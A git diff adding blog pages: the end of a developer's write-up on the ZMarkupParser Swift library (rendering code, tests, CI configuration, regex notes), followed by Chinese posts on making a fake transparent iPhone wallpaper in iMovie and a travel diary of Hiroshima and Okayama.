+    if position < siblingColumns.count - 1 {
+        // Add whitespace as spacing, external spacing width can be specified in number of whitespace characters
+        attributedString.append(makeString(in: markup, string: String(repeating: " ", count: markup.spacing)))
+    }
+    
+    return attributedString
+}
+
+func visit(_ markup: TableRowMarkup) -> Result {
+    let attributedString = collectAttributedString(markup)
+    attributedString.append(makeBreakLine(in: markup)) // Add line break, please refer to Source Code for details
+    return attributedString
+}
+
+func visit(_ markup: TableMarkup) -> Result {
+    let attributedString = collectAttributedString(markup)
+    attributedString.append(makeBreakLine(in: markup)) // Add line break, please refer to Source Code for details
+    attributedString.insert(makeBreakLine(in: markup), at: 0) // Add line break, please refer to Source Code for details
+    return attributedString
+}
+
+**Final rendering effect as shown in the figure below:**
+
+![Rendered Table](/assets/2724f02f6e7/1*Dft7H2BbeyWIO-dH4QpuSw.png)
+
+The implementation is not perfect, but it is acceptable.
+
+#### Complex Rendering Item — Image
+
+Now, let's talk about the ultimate challenge - loading remote images into NSAttributedString.
+
+**In HTML, use `<img>` to represent an image:**
+```xml
+<img src="https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg" width="300" height="125"/>
+

You can specify the desired display size using the width / height HTML attributes.

Displaying images in NSAttributedString is much more complicated than expected; there is no perfect solution yet. I encountered some difficulties while working on text wrapping around images in UITextView, and this time, I have researched it extensively but still haven’t found a perfect solution.

For now, let’s ignore the issue of NSTextAttachment not being reusable and not releasing memory. We’ll focus on implementing a solution where we download the image from a remote source, place it in an NSTextAttachment, and then add it to NSAttributedString, with automatic content updates.

I have separated this functionality into a smaller project, so it can be optimized and reused in other projects:

ZNSTextAttachment on GitHub

The main idea is inspired by the series of articles Asynchronous NSTextAttachments. However, I replaced the final content update part (to display the downloaded image properly), and I added a Delegate/DataSource for external extensions.

Workflow and Relationships as shown in the image above

  • Declare the ZNSTextAttachmentable object, encapsulating the NSTextStorage object (built-in with UITextView) and UILabel itself (UILabel does not have NSTextStorage).
    • The replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) function is used to implement replacing the attributedString within a specific NSRange.
  • The process involves wrapping the imageURL, PlaceholderImage, and desired display size in a ZNSTextAttachment, and initially displaying the image using a placeholder.
  • When the system needs to display the image on the screen, it will call the image(forBounds… method, and we start downloading the image data.
  • The DataSource is used externally to decide how to download or implement the Image Cache Policy. By default, URLSession is used to request the image data.
  • Once the download is complete, a new ZResizableNSTextAttachment is created, and the logic to customize the image size is implemented in attachmentBounds(for….
  • The replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) method is called to replace the ZNSTextAttachment with the ZResizableNSTextAttachment.
  • A didLoad Delegate notification is sent out, allowing external connections if needed.
  • Completion.

For detailed code, please refer to the Source Code repository.

In order to refresh the UI without using NSLayoutManager.invalidateLayout(forCharacterRange: range, actualCharacterRange: nil) and NSLayoutManager.invalidateDisplay(forCharacterRange: range), the reason was that the UI wasn’t updating correctly. Since we already know the specific range, we can directly trigger the replacement of NSAttributedString to ensure the UI updates accurately.

The final display result is as follows:

1
+2
+
<span style="color:red">こんにちは</span>こんにちはこんにちは <br />
+<img src="https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg"/>
+

![/assets/2724f02f6e7/1*bl65v-SVOK3H9ajR-Ksg6w.png)

Testing & Continuous Integration

For this project, in addition to writing Unit Tests for individual testing, Snapshot Tests were established to perform integration testing for an overall assessment of NSAttributedString.

The main functional logic has UnitTests, and combined with integration testing, the final Test Coverage is approximately 85%.

ZMarkupParser — codecov

ZMarkupParser — codecov

Snapshot Test

Directly import the framework and use:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
import SnapshotTesting
+// ...
+func testShouldKeepNSAttributedString() {
+  let parser = ZHTMLParserBuilder.initWithDefault().build()
+  let textView = UITextView()
+  textView.frame.size.width = 390
+  textView.isScrollEnabled = false
+  textView.backgroundColor = .white
+  textView.setHtmlString("html string...", with: parser)
+  textView.layoutIfNeeded()
+  assertSnapshot(matching: textView, as: .image, record: false)
+}
+// ...
+

![/assets/2724f02f6e7/1*hLPeaOTOviA0jTPNOPu1hg.png)

Directly comparing the final result to the expected one ensures that the integration is functioning without any abnormalities.

Codecov Test Coverage

Integrating with Codecov.io (free for Public Repo) to evaluate Test Coverage. Simply install Codecov Github App and configure it.

After setting up the connection between Codecov and the Github Repo, you can also add codecov.yml in the root directory of the project.

1
+2
+3
+4
+5
+6
+
comment:                  # this is a top-level key
+  layout: "reach, diff, flags, files"
+  behavior: default
+  require_changes: false  # if true: only post the comment if coverage changes
+  require_base: no        # [yes :: must have a base report to post]
+  require_head: yes       # [yes :: must have a head report to post]
+

With this configuration, every time a PR is created or reopened, the CI will automatically run, and the test result will be commented in the PR.

![/assets/2724f02f6e7/1*AcKpF4dijglahV-iVYLvvA.png)

Continuous Integration

Github Action, CI integration: ci.yml

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
name: CI
+
+on:
+  workflow_dispatch:
+  pull_request:
+    types: [opened, reopened]
+  push:
+    branches:
+    - main
+
+jobs:
+  build:
+    runs-on: self-hosted
+    steps:
+      - uses: actions/checkout@v3
+      - name: spm build and test
+        run: |
+          set -o pipefail
+          xcodebuild test -workspace ZMarkupParser.xcworkspace -testPlan ZMarkupParser -scheme ZMarkupParser -enableCodeCoverage YES -resultBundlePath './scripts/TestResult.xcresult' -destination 'platform=iOS Simulator,name=iPhone 14,OS=16.1' build test | xcpretty
+      - name: Codecov
+        uses: codecov/codecov-action@v3.1.1
+        with:
+          xcode: true
+          xcode_archive_path: './scripts/TestResult.xcresult'
+

This configuration triggers the build and test on PR opened/reopened or push to the main branch. The test coverage report will be uploaded to Codecov.

Regex

When it comes to regular expressions, every time I use them, I improve my skills. In this project, I didn’t use them extensively, but I wanted to extract paired HTML tags using regex, so I researched how to write the expression for that purpose.

Here are some cheat sheet notes on what I learned this time:

  • The ?: construct allows () to match and group the result but does not capture and return it. e.g., (?:https?:\/\/)?(?:www\.)?example\.com will return the entire URL https://www.example.com instead of just https:// and www.
  • The .+? construct performs a non-greedy match (finds the closest match and returns it). e.g., <.+?> will return <a> and </a> instead of the entire string <a>test</a>.
  • The (?=XYZ) construct matches any string until the string XYZ appears. Note that [^XYZ] is similar but matches any character until X, Y, or Z appears. e.g., (?:__)(.+?(?=__))(?:__) will match test.
  • The ?R construct recursively searches for values with the same rule. e.g., \((?:[^()]|((?R)))+\) will match (simple), (and(nested)), and (nested) in (simple) (and(nested)).

Swift currently does not support the above constructs.

Other Useful Regex Articles:

Swift Package Manager & Cocoapods

This was my first time developing with SPM and Cocoapods, and it was quite interesting. SPM is genuinely convenient. However, I encountered an issue when both projects depended on the same package; building both projects simultaneously caused one of them to fail due to the package not being found.

I uploaded ZMarkupParser to Cocoapods, but I haven’t tested whether it works properly since I developed it with SPM 😝.

ChatGPT

Based on my experience using ChatGPT in development, I found it most useful for assisting in proofreading Readme files. Regarding development questions, I didn’t always get the most accurate answers, especially when asking mid-senior level questions. In those cases, ChatGPT couldn’t provide a definite or correct answer (I encountered this when asking about certain regex rules).

Moreover, I wouldn’t rely on ChatGPT to write complex code. While it can help with simple code generation for objects, it’s not capable of completing an entire tool architecture. (At least, that’s how it is currently. Copilot might be more helpful for writing code in the future)

However, ChatGPT can provide guidance on certain knowledge gaps, giving us a general direction on how to approach certain tasks. Sometimes, our understanding might be too limited to effectively search for the right solution on Google, and that’s when ChatGPT becomes helpful.

Declaration

After more than three months of research and development, I am quite exhausted. Nevertheless, I want to emphasize that this project represents the feasible results I obtained through my research. It may not be the optimal solution, and there may still be room for improvement. This project is more like a starting point, and I welcome contributions to achieve the perfect solution for Markup Language to NSAttributedString conversion. Your contributions are greatly appreciated, as many aspects need the power of the community to improve.

Contributing

ZMarkupParser

ZMarkupParser

At this moment (2023/03/12), I can think of several areas for improvement, and I will document them in the repository later:

  1. Performance and algorithm optimization: Although it is faster and more stable than the native NSAttributedString.DocumentType.html, there is still room for improvement. I believe the performance is not as good as XMLParser. I hope that one day, we can achieve the same performance while maintaining customization and automatic error correction.
  2. Support for more HTML tags and style attribute conversions.
  3. Further optimization of ZNSTextAttachment to implement reuse and memory release, which may require studying CoreText.
  4. Support for Markdown parsing: As the underlying abstraction is not limited to HTML, it should be possible to create a front-end conversion from Markdown to Markup objects. Therefore, I named it ZMarkupParser instead of ZHTMLParser, hoping that one day it can also support Markdown to NSAttributedString conversion.
  5. Support for Any to Any conversion, e.g., HTML to Markdown, Markdown to HTML. Since we have the original AST tree (Markup objects), it is feasible to implement conversion between any Markup formats.
  6. Implement CSS !important functionality and enhance the inheritance strategy of MarkupStyle.
  7. Strengthen HTML selector functionality, which currently only provides basic filtering.
  8. And many more improvements. Please feel free to open issues.

If you find yourself with some spare time and want to support this project without coding, giving it a ⭐ will help more people discover the repo, and maybe some GitHub wizards will contribute!

Summary

ZMarkupParser

ZMarkupParser

These are all the technical details and thoughts behind my development of ZMarkupParser. It has taken me nearly three months of after-work and holiday time, countless research and experimentation, and finally, writing tests, increasing test coverage, and setting up CI to achieve a somewhat presentable result. I hope this tool can solve similar problems for others, and I hope we can all work together to make this tool even better.

pinkoi.com

pinkoi.com

Currently, it is being used in our company’s iOS app on pinkoi.com, and no issues have been found. 😄

Further Reading

Like Z Realm's work

For any questions or suggestions, please feel free to contact me.


This post is licensed under CC BY 4.0 by the author.

ZMarkupParser HTML String 轉換 NSAttributedString 工具

手工打造 HTML 解析器的那些事

diff --git a/posts/2e4429f410d6/index.html b/posts/2e4429f410d6/index.html new file mode 100644 index 000000000..3a5bcb988 --- /dev/null +++ b/posts/2e4429f410d6/index.html @@ -0,0 +1 @@ + 使用 iPhone 簡單製作「偽」透視透明手機桌布 | ZhgChgLi
Home 使用 iPhone 簡單製作「偽」透視透明手機桌布
Post
Cancel

使用 iPhone 簡單製作「偽」透視透明手機桌布

使用 iPhone 簡單製作「偽」透視透明手機桌布

應用 iMovie 綠幕摳圖功能合成影片

反正我很閒

白天工作,被資本家剝削肉體;晚上又被大眾娛樂剝削心靈,依然做不到白天工作、晚上讀書、假日批判的境界

最近在無腦放鬆的時候, 滑到一個很常見的桌布 APP 廣告,廣告中展示了一個透視透明的桌布很吸睛 ;但可想而知是不可能的,就算後置相機實時取景角度也不可能這麼吻合!

[【Youtuber內幕】美劇、影集注意!揭發大眾媒體不會告訴你的荼毒真相!白天工作 晚上讀書 假日批判!還原欺騙秘辛|反正我很閒](https://www.youtube.com/watch?v=0_dVHQBx-4k){:target="_blank"}

【Youtuber內幕】美劇、影集注意!揭發大眾媒體不會告訴你的荼毒真相!白天工作 晚上讀書 假日批判!還原欺騙秘辛|反正我很閒

完成效果

iPhone 「偽」透視透明手機桌布

我們要做個有腦的青年!

雖然知道是特效,本來以為會非常複雜;沒想到 iPhone 內建的 iMovie APP 簡單點一點就能製作了。

只需要:

  1. 一支 iPhone(因為要直接使用 iMovie)、入鏡用手機
  2. 一支負責拍攝的手機 or 相機
  3. 手機架 or 水瓶…或任何可以支撐手機的物品
  4. iMovie APP (免費下載)
  5. 綠色底圖(綠幕)

可直接下載此圖或從 [網路取得](https://www.google.com/search?q=green+screen&tbm=isch&ved=2ahUKEwiWl7yC16jpAhXAx4sBHWVACioQ2-cCegQIABAA&oq=green+screen&gs_lcp=CgNpbWcQAzIECCMQJzIECCMQJzICCAAyAggAMgIIADICCAAyAggAMgIIADICCAAyAggAULXwGli18BpgxPQaaABwAHgAgAE4iAE4kgEBMZgBAKABAaoBC2d3cy13aXotaW1n&sclient=img&ei=u6C3XtbNBsCPr7wP5YCp0AI&bih=945&biw=1920){:target="_blank"}

可直接下載此圖或從 網路取得

這 5 樣東西就能製作出透視效果!

具體流程:

  1. 架好負責拍攝的手機
  2. 直接拍攝一段乾淨的影片(無手機入鏡)
  3. 將要入鏡的手機底圖設為綠色底圖
  4. 再拍攝一段入鏡手機的操作影片
  5. 開啟 iMovie APP 合成
  6. 完成

開始

1. 將手機架設好、抓好拍攝角度

我使用兩個鰻魚罐頭跟一瓶礦泉水當作手機架(如果有立式手機架當然更好!)

我使用兩個鰻魚罐頭跟一瓶礦泉水當作手機架(如果有立式手機架當然更好!)

使用手機架拍攝的目的是由於我們希望兩部影片的角度都是統一的,否則會出現畫面位移的情況,看起來效果就沒那麼好;手持的話勢必不可能兩部影片 100% 視角位置都ㄧ樣。

2.拍攝一段乾淨的影片

影片想要多長,乾淨的影片就拍攝多長。

3.將入鏡手機的桌布設為綠色底圖

「設定」-> 「背景圖片」->「選擇下載下來的綠色底圖」->「同時設定」

「設定」-> 「背景圖片」->「選擇下載下來的綠色底圖」->「同時設定」

完成圖

完成圖

4.拍攝一段入鏡手機的操作影片

影片時長同 2. 乾淨影片;超過也沒關係,之後再裁剪。

5.開啟 iMovie APP 建立專案

「+」->「影片」-> 選擇「 **乾淨的影片** 」->「製作影片」

「+」->「影片」-> 選擇「 乾淨的影片 」->「製作影片」

插入乾淨的影片到專案中。

6. 將播放位置移到最前

若沒有將乾淨的影片播放位置移至影片起始點,否則在後續插入綠幕影片時會出現「 將播放磁頭從結尾處移開來加入覆疊 」。

7.插入入鏡手機操作影片

點擊右上角「+」->「影片」->「全部」

點擊右上角「+」->「影片」->「全部」

選擇「入鏡的操作影片」->「…」->「綠色/藍色螢幕」(俗稱:摳圖)

選擇「入鏡的操作影片」->「…」->「綠色/藍色螢幕」(俗稱:摳圖)

點選上方「入鏡操作影片」->「滾動到有綠色桌布的影格」-> 點擊「綠色區域」-> 完成透視透明

點選上方「入鏡操作影片」->「滾動到有綠色桌布的影格」-> 點擊「綠色區域」-> 完成透視透明

8.合成完成!匯出影片

確認兩段影片結束時間一致,點擊左上角「完成」-> 下方「分享」 -> 選擇輸出目標 -> 輸出完成

確認兩段影片結束時間一致,點擊左上角「完成」-> 下方「分享」 -> 選擇輸出目標 -> 輸出完成

9. 完成

Tips

  1. 可先隱藏有綠色圖標的 APP,如 Line、訊息…. 防止穿幫(因摳圖依據是綠色)
  2. 或可使用藍色底圖,改摳藍色;或其他顏色也可(但綠/藍效果最佳)
  3. 同原理還有更多玩法,等你發掘!

結語

just for fun…沒想到 iMovie 功能這麼強大!

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

打造舒適的 WFH 智慧居家環境,控制家電盡在指尖

現實使用 Codable 上遇到的 Decode 問題場景總匯

diff --git a/posts/31b9b3a63abc/index.html b/posts/31b9b3a63abc/index.html new file mode 100644 index 000000000..19cdded28 --- /dev/null +++ b/posts/31b9b3a63abc/index.html @@ -0,0 +1 @@ + 遊記 2023 廣島岡山 6 日自由行 | ZhgChgLi
Home 遊記 2023 廣島岡山 6 日自由行
Post
Cancel

遊記 2023 廣島岡山 6 日自由行

[遊記] 2023 廣島岡山 6 日自由行

2023 廣島、岡山、福山、倉敷、尾道 6 日遊

前言

8 月底離職後隨即在 9 月出發「 九州 10 日漫步獨旅 」休息了快三個月之後,原本預計 11 月中上班,新工作到職後就要展開新專案、新公司無多特休,一切要照基本勞基法重新累積年假,因此考慮再出去玩一次 (10 月底開始計劃)。

地點 — 廣島(岡山)

上次去 長崎路上的 意外小插曲 — 獲得一個( 廣島縣 )三原市おみやげ 加上上次去長崎參觀了核爆紀念館、和平公園,想說 廣島 的也可以去看看。

還有身邊朋友也都推薦 廣島 ,有世界遺產 — 嚴島神社、牡蠣、瀨戶內海、尾道、兔島…

加上同樣是獨旅,不考慮大城市及已經去過的城市、希望交通方便, 廣島 就是一個很好的選擇!

日期 — 11/13–18

原本預計 11/20(一) 上班(後來延到 12/1),扣掉最後一天緩衝休息,回程日期就訂在 11/18 (六) 了。

去程日期,原本 11/12 與朋友有約,因此先抓 11/13(週一) 出發;但因還沒上班安排都很彈性,主要看機票價格何時來回比較低價決定。

一波三折

❌ 要去廣島最直覺的就是廣島機場進出,查了一下條件非常不好:

  • 時間:晚去(17:20)早回(09:30);並且週六沒有飛,週五(11/17)就要回來。
  • 地點:需要搭交通車(約 55 分鐘),去程落地後只能搭 21:40 or 22:20(末班) 到車站都 22 or 23 點了,時間很晚。
  • 價格:~=$17,000,太貴。

❌ 福岡進出+新幹線,依然不方便:

  • 時間:去(16:30)、回(10:55),也是晚去早回,但好一點。
  • 地點:交通方便,但要再加上新幹線到廣島大概 1 個半小時。
  • 價格:~=$12,000、如果要晚回(20:35) 要 ~=$17,000 或早上 06:50 的飛機。

❌ 後來才查到去廣島,可以虎航岡山進出,去的動力普通:

  • 時間:去(11:10)、回(15:25),時間很讚。
  • 地點:岡山機場同樣要搭交通車,但是落地時間早,時間充裕。
  • 價格:含 +20 KG 託運來回約 ~= $14,000。

因 9 月才去過「 九州 10 天 」散財,機票價格如果沒辦法壓在 1 萬上下,去的動力不大,因此幾乎要放棄此行了。

虎航岡山冬遊記活動 ,出發:

10/31 無聊滑 Facebook 時剛好看到有大大在「 日本自由行討論區 」社團 PO 文航空公司優惠降價活動,看到 虎航 11/3 10:00 ~ 11/6 23:59 購票有優惠;所幸就抱著隨遇而安的心態,有買到優惠就去沒有就算了。

11/3 一早起來很幸運地有買到,去回日期最佳(11/13–18)、航班時間最佳、價格最佳的機票,那就沒有不去的理由了!

  • 去(11:10)、回(15:25),含來回 20KG 託運+選位+雜費: $7,012

準備工作

機票買好之後,距離出發也只剩下一週,如火如荼的直接開始準備工作。

預計最想去的有宮島、尾道、倉敷美觀地區、岡山城;所以直接以廣島為基地,可以住比較多天,接近回程再住岡山一帶。

JR Pass 岡山& 廣島 & 山口地區鐵路周遊券 (¥ 17,000,剛好遇到 2023/10 月底後漲價。)

查岡山廣到車站單程 ¥6,460,來回 ¥12,920;再算上去宮島、尾道、吳市…來回,應該不虧;直接買 JR Pass 最方便。

住 (5 晚)

東橫INN 廣島站棒球場前 (3 晚)

  • 價格:$4,612,$1,537/晚,單人禁菸房
  • 交通:從地圖上看走路距離蠻近的(實際大概要走 15 分鐘,因為在施工、而且要跨越平交道)不是熱鬧的地方,在 Mazda Zoom-Zoom 球場外,現在沒有比賽,整條路很冷清。

東橫 INN 一如既往地 CP 值很高,價格跟環境都是這次住宿最優秀的。

APA飯店 廣島站前大橋 (1 晚)

  • 價格:$2,501,1 晚,單人禁菸房
  • 地點:離廣島車站比較近,但實際走起來也不好走,要過大馬路、過橋(約 10 分鐘);從上一個住宿地點走來大約 15 分鐘,算方便。

因東橫 INN 訂不到四晚,只能一晚住 APA 飯店。

利夫馬克斯岡山倉敷站前飯店 Livemax (1 晚)

  • 價格:$3,263,1 晚,單人禁菸房
  • 地點:跟地圖差不多,就在倉敷站外,走路大概五分鐘就到了,很方便。

會找到倉敷是因為岡山在找住宿的時候已經訂不到價格可以接受的飯店了,只能就近往 JR 沿線找,因為倉敷也有交通車回岡山機場;就決定找倉敷附近的飯店了。

這家也是倉敷唯一還有房間、地點方便、價格還可以接受的飯店。

原本計畫如下:

  • 11/13:逛街、吃廣島燒
  • 11/14:宮島、廣島市區:嚴島神社、紅葉谷公園、宮島纜車 -> 獅子岩展望台、原爆圓頂、平和紀念公園、原爆紀念館、紙鶴塔(廣島塔)
  • 11/15:尾道、千光寺
  • 11/16:吳市、廣島市區(同 11/14)、廣島城
  • 11/17:岡山、倉敷:岡山後樂園、岡山城、吉備津神社、倉敷美觀地區、倉敷 Outlet、阿智神社
  • 11/18:倉敷 Outlet、回程

兔島車程太遠、不方便,只列入參考名單。

Go!

Flight Tracker、iPhone Suica 使用、Visit Japan 預入境申請…之前文章有提過,這篇就不多贅述了。

Day 1 出發

早上 11:10 起飛,早上起來慢慢出門。

從北車搭機捷前往桃園機場第一航廈,到報到櫃檯大約 08:50 分。

沒什麼人,很快就完成報到+出境; 一航 沒什麼吃的,隨便買了頂呱呱+咖啡就去候機了。

候機時還不怎麼餓,所以沒吃買的東西。

11:07 起飛,14:11 抵達 OKJ (岡山桃太郎機場);中間餓的時候想吃東西發現虎航是不允許帶自己東西上飛機吃的(樂桃則沒特別規定),所以就乖乖地忍著,想說下飛機入境前在角落吃完才入境。

岡山機場超級小,一路跟著人群走著走著就直接入境出關了,根本沒角落可以偷吃東西;因為頂呱呱有雞肉怕有防疫問題,所以整包直接上交給海關銷毀。

約 14:40 就完成入境+提行李出來了(超快)後來查了一下航班,岡山機場飛機航班超少,國際線可能一天才一班,所以都沒人,只有同航班的人;海關、防疫犬會逐個檢查,但還是很快!

一出來就直接上機場交通車,可能因為飛機航班太少,照班表要等到 16:10 才有交通車道岡山車站;但出機場就有加開的交通車可以直接上(滿人即發車、會再有下一班),很貼心的為大家節省時間!

下車後找到手扶梯往上前往岡山車站,先去換 JR Pass,找到綠色& 旁邊有寫「 EXPRESS予約、5489 お受取 」的機器兌換 JR Pass 票券。

之前在網路找 兌換教學 ,是說要點選藍色「予約したきっぷのお受取り」但實際怎麼試、照步驟走,在掃描 QR Code 時都會出現「QR Code 無效」錯誤,改用輸入訂單編號也失敗。

最後在一群台灣人互相多番嘗試下才發現要用左下「 QRコードの読取り 」黃色按鈕兌換,點擊後直接掃描 QR Code 就可以了。(猜測是 JR 機器有改版)

機器會吐兩張說明書、 一張 JR Pass(圖中 ✔ 那張票) ,也可在拿到 JR Pass 後再放入 完成劃位進出站都是使用 JR Pass 那一張票 ,劃位的票僅供參考座位及時間,不能用那張票出入站。

實在太餓了,都沒吃東西,先去超商買些東西果腹,因此買後幾班的 JR。

約 16:45 抵達廣島車站。

先去飯店 Check-in 放行李再出來覓食,沒有棒球比賽的時候這條路好冷清,對面就是鐵路,路上沒什麼店,但還好有一家很大的路面店 Lawson。

[廣島御好物語 站前廣場](https://maps.app.goo.gl/C8aLTG48rhfKwVQz6){:target="_blank"}

廣島御好物語 站前廣場

回廣到車站吃廣島燒「 廣島御好物語 站前廣場 」在廣島車站出來右手方 6 樓 (Ekie 百貨公司隔壁);一出電梯就覺得好特別,這一整層全都是廣島燒店家,可以選擇自己喜歡的店家就坐。

點了一個加年糕的廣島燒(裡面是炒麵)吃,覺得味道普普、裡面有麵和年糕,吃完很飽。

回飯店路上買了個宵夜回去吃,這時間廣島的晚上好冷,大約 4 度而已。

東橫INN 廣島站棒球場前

房間開箱。

窗簾拉開就能看到外面的鐵道(約 10 條線,所以過平交道要快);房間缺點是火車經過會有摳摳的聲音。

Allite A1 65W 氮化鎵快充+Allite 液態矽膠快充線

這次出行直接帶了 Allite A1 65W 氮化鎵快充+Allite 液態矽膠快充線 組合,自從換 iPhone 15 後基本上全設備都上到 Type-c 口了;出門旅行只要帶上 Type-c 充電線就能解決一切。

Allite A1 65W 氮化鎵快充 支援單口 65W、雙口 45W+18W 快速充電;體積小可隨身攜帶,在外看到可充電的插頭直接插上續力;回飯店後就一口充行動電源,一口充手機、手錶、iPad 或 Switch,方便又快速。

Allite 液態矽膠快充線 (1.5m) 長度很夠,可以直接行動電源放包包接線出來使用,液態矽膠材質與一般塑膠不同,除了親膚之外、還更容易彎折好收納、不會凹來凹去。

這次出行的最佳充電拍檔。

Day 2 宮島(嚴島神社)、紅葉谷公園、獅子山展望台、原爆圓頂、平和紀念公園

宮島

一早搭乘 JR 前往宮島口站,出站往碼頭方向走就能找到渡輪站;JR Pass 有包含宮島渡輪船票,不需再買船票,但要額外付 宮島訪問稅(¥100) ,會有站務人員指引購買訪問稅的票。

另外也可搭乘廣電到宮島口,但我記得時間比較久。

渡輪約 10 分鐘就能抵達宮島,渡輪很平穩也不會有柴油味,快抵達時就能遠遠到海上鳥居!

上島後直接往海上鳥居方向走,在路上岸邊斜斜著拍也很美而且比較沒人。

島上也有很多野生的鹿,會亂咬東西 XD。

經過嚴島神社後先前往宮島纜車上獅子岩展望台。

需搭乘兩段纜車才能到獅子岩展望台,先直攻纜車的好處是幾乎沒人(山下嚴島神社一堆人),第一段是小纜車最多 6 人(發車很密集、距離較長),第二段是比較大的纜車(沒記錯是 15 分鐘一班,可容納較多人(約 20 人),距離很短)。

山頂可以鳥瞰整個瀨戶內海,吹吹風看看小島,很愜意。

嚴島神社就是直接架在海邊上的,水很乾淨,走起來很清幽;也可以排隊從正面拍攝海上鳥居的照片。

這個季節的潮汐退潮時間是凌晨 3 點或下午 5 點,這次就沒機會看到退潮的巖島神社跟鳥居了。

午餐當然要吃牡蠣, 牡蠣屋 的牡蠣飯、炸牡蠣,各 300 多台幣,好吃又便宜,牡蠣富翁!

宮島纜車、嚴島神社門票。

買了一座小的嚴島神社鳥居回家放著,很可愛!

原爆圓頂、平和紀念公園

下午時分回到廣島市區,到原爆圓頂、和平紀念公園走走。

秋季的廣島,有銀杏的黃與楓葉的紅還有些綠葉的點綴加上秋季的涼風颼颼,緬懷廣島曾經發生的一切。

在平和紀念公園遇到很多日本國中小戶外教學,有老師帶著講解歷史,深刻覺得日本民族對歷史傳承教育的重視。

回飯店

接近傍晚時分就回到飯店休息,因為穿太少,外面實在太冷。

晚餐直接買了回飯店路上經過的「 炭火焼肉 敏 猿猴橋店 」的外帶燒肉餐盒;這家店起初會吸引我的目光是因為在店門口有放幾個炭爐,走過去非常溫暖,停下來看了下招牌發現有提供外帶餐盒,就走進去了!

另一個新奇的事是他的餐盒是有自熱功能,回飯店要吃的時候拉一下線,就會開始自己加熱冒熱蒸汽;什麼時候吃都像剛出爐熱熱的,很貼心。

今日超商宵夜,熱狗、炸雞、Strong Zero、還買了瓶號稱喝完很好睡的養樂多 Y1000 試試看。(但今天走了一整天本來就很好睡)

Day 3 尾道、千光寺、福山、鞆之浦

早上搭乘新幹線前往三原,再從三原轉車到尾道站。

時間沒有抓好,三原換尾道的時候乾等了 30 幾分鐘。

往南出口走正門出尾島站。

天氣好加上溫度適宜,出尾島站之後就一路往千光寺走;走山的那側有像走在九份山城的感覺,路途不太好走,很多樓梯跟陡坡往上,往另一側看就是尾道內海,風景不錯。

另一個選擇是直接走大馬路,走到看到千光寺纜車搭乘的招牌,轉進去就能直接搭纜車上到千光寺了。

千光寺的風景很好,可以鳥瞰整個尾道市區與遠方的尾島大橋。

請了一尊可愛的小地藏王回家放著(可以選擇寫下願望放在千光寺供養或是帶回家紀念):

參拜完千光寺,往下走就是貓之細道。

看早期網路文章都以日本侯桐介紹貓之細道,但今年實際走訪覺得不太一樣;貓之細道是千光寺下山的一小段小徑,沒看到一隻野貓,沿路的貓咪咖啡廳幾乎都沒營業了,走下來有點落寞的感覺,最後找了一家還有在營業的咖啡廳「 ブーケ ダルブル 」喝杯咖啡休息一下。

店的地理位置不錯,但走上來的途中同樣散發著落寞雜草叢生的感覺,店裡位子不多、餐點選擇也不多;但老闆很熱情+店貓很黏人會跑來你旁邊坐著貼貼。

走回山下大街的路上遇到一個當地很寂靜的神社。

回尾道站的路上改走裡面的商店街,午餐就吃了有名的尾道拉麵 — 「 Onomichi Ramen Shoya 」。

尾道拉麵(台灣人創始的)蠻特別的,漂浮著滿滿白花花的豬背脂、還有筍乾。

悠閒晃回尾道站後,由於時間還很早,臨時決定前往鄰近的福山市。

時間又沒算好,又多乾等了 30 分鐘才等到車,要來尾道的朋友記得抓好時間。

福山

福山站後站可以看到福山城,沒有特別進去,只遠遠的拍張照就走了。

鞆之浦

回到福山站前站,就可以看到往「鞆之浦」的公車搭乘指示,本來看地圖覺得鞆之浦很難到達,因為在海邊小鎮,不得不佩服日本的觀光與交通指示,非常清楚。

p.s. 行前對鞆之浦沒有特別做功課,算是臨時起來走走的

對鞆之浦的了解只有崖上的波妞取景地、日本第一個現代港都、曾經是坂本龍馬談判之地、歷史控必訪

上車後一路坐到底站就是鞆之浦囉(車程時間約:40 分鐘)

仙醉島

直接參考當地的旅遊地圖,想說先去仙醉島看看風景。

下車後直接往回走到「福山市營渡船場」搭乘渡輪前往仙醉島(約 10 分鐘)。

船身古色古香,一種突然成為航海王的感覺,路程雖短,但是能鳥瞰瀨戶內海及仙醉島、吹吹風,很舒服。

上島後沒看見任何路人,島上一片荒涼,原本的鞆の浦海水浴場遊客中心也已經關閉準備拆除、往山上其他海岸的步道也都因落石封閉;只剩路口還有一家風呂飯店還有營業。

鞆の浦海水浴場只剩下一大片寧靜的海灘,只有偶爾能聽到一群海鴨子的嬉戲聲。(我也是第一次看到鹹水鴨,不是鹹水雞)

大約只停留了 15 分鐘,沒地方可去就等待渡輪回去了;這地方雖然荒涼但還是有販賣機!回程路上近看了遠方的弁天島,一個孤單矗立在海中間的小島及鳥居。

鞆之浦

回到鞆之浦時間也接近傍晚時分,晃晃悠悠走到港口看常夜燈與日式城鎮風景,路上有需多人及攝影愛好者都已經坐在港口旁的階梯、架好相機,等待日落的到來。

鞆之浦有名的滋補養身保命酒,路上有濃濃的藥酒味;因為還要趕路回廣島,所以就趁還沒天黑之前搭乘公車回福山了。

回福山後直接跳上往廣島的列車,告別了這座寧靜平和的城市,晚餐依然直接買回飯店路上的「 炭火焼肉 敏 猿猴橋店 」外帶燒肉餐盒。

另外多加了兩顆超商的炸牡蠣(1顆100日元而已)。

宵夜依然是 Y1000+超商熱食。

Day 4 吳市、廣島市區最後巡禮(廣島和平紀念館、廣島城、縮景園)

一早先 Checkout 東橫 INN 拖著行李前往晚上要下榻的 廣島 APA 飯店。

寄放好行李後,就走回廣島車站搭乘前往吳市(Kure)的列車(約 50 分鐘),快到吳市的時候從右邊窗戶往外看有一種回到福隆、宜蘭路線火車的感覺,左邊山右邊臨海,風景愜意。

出站後可以去觀光案內所,拿吳市的旅遊指南。(覺得設計的很好!)

依照指標就能從車站出來的空橋一路走到港口的大和博物館與海上自衛隊吳史料館。

走到底的時候先不要急著下空橋,從空橋上能很好的補捉海上自衛隊吳史料館 — 潛水艦艇。

